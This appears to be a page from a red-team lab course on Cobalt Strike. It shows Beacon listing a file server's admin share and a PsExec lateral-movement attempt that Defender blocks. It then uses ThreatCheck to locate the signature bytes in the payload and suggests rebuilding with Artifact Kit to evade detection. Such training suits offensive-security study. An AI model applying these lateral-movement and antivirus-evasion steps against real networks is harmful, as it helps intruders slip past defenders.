On-Disk Detections
Even though dropping files to disk has a bad reputation, there are instances where it's fairly unavoidable if we want to employ certain tactics. For instance, we can show we have access to the File Server, but we can't PsExec to it because the service binary payload is being detected by Defender.
beacon> ls \\fs.dev.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 09/14/2022 15:44:51 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 09/14/2022 15:55:16 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/14/2022 15:59:23 ProgramData
dir 09/14/2022 15:25:23 Recovery
dir 09/14/2022 15:25:04 System Volume Information
dir 09/14/2022 15:26:47 Users
dir 09/14/2022 15:25:15 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/14/2022 16:00:25 DumpStack.log.tmp
1gb fil 09/14/2022 16:00:25 pagefile.sys
beacon> jump psexec64 fs.dev.cyberbotic.io smb
[-] Could not start service 633af16 on fs.dev.cyberbotic.io: 225
PS C:\Users\Attacker> net helpmsg 225
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
\
If we copy the payload to our local desktop and check the associated log, we can see that the "file" was detected.
\

\
Like many AV products, Defender has a database of definitions from which it can detect "known bad" very quickly. We can use a tool like ThreatCheck to (roughly) identify which part of a file Defender dislikes. It achieves this by splitting the file into chunks, writing them into C:\Temp
and triggering a manual scan. It will attempt to find the single smallest piece that will trigger a positive detection.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.svc.exe
[*] C:\Temp doesn't exist. Creating it...
[+] Target file size: 296960 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x482EE
00000000 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000010 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000020 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000030 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000040 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000050 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000060 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 14 C0 ···A···A···A···A
00000070 04 00 14 C0 04 00 14 C0 04 00 14 C0 04 00 4B 45 ···A···A···A··KE
00000080 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 28 C0 RNEL32.dll····(A
00000090 04 00 28 C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 ··(A··(A··(A··(A
000000A0 04 00 28 C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 ··(A··(A··(A··(A
000000B0 04 00 28 C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 ··(A··(A··(A··(A
000000C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 ··(A··(A··(A··(A
000000D0 04 00 28 C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 ··(A··(A··(A··(A
000000E0 04 00 28 C0 04 00 28 C0 04 00 28 C0 04 00 28 C0 ··(A··(A··(A··(A
000000F0 04 00 28 C0 04 00 28 C0 04 00 6D 73 76 63 72 74 ··(A··(A··msvcrt
[*] Run time: 5.28s
\
There's nothing painfully obvious or malicious about this block of data, which would lead me to conclude that it's simply a fixed signature for the default Cobalt Strike Beacon payload. To rebuild the payloads, we can use the Artifact Kit - even building with a different version of gcc
can produce enough changes to break this signature.
Last updated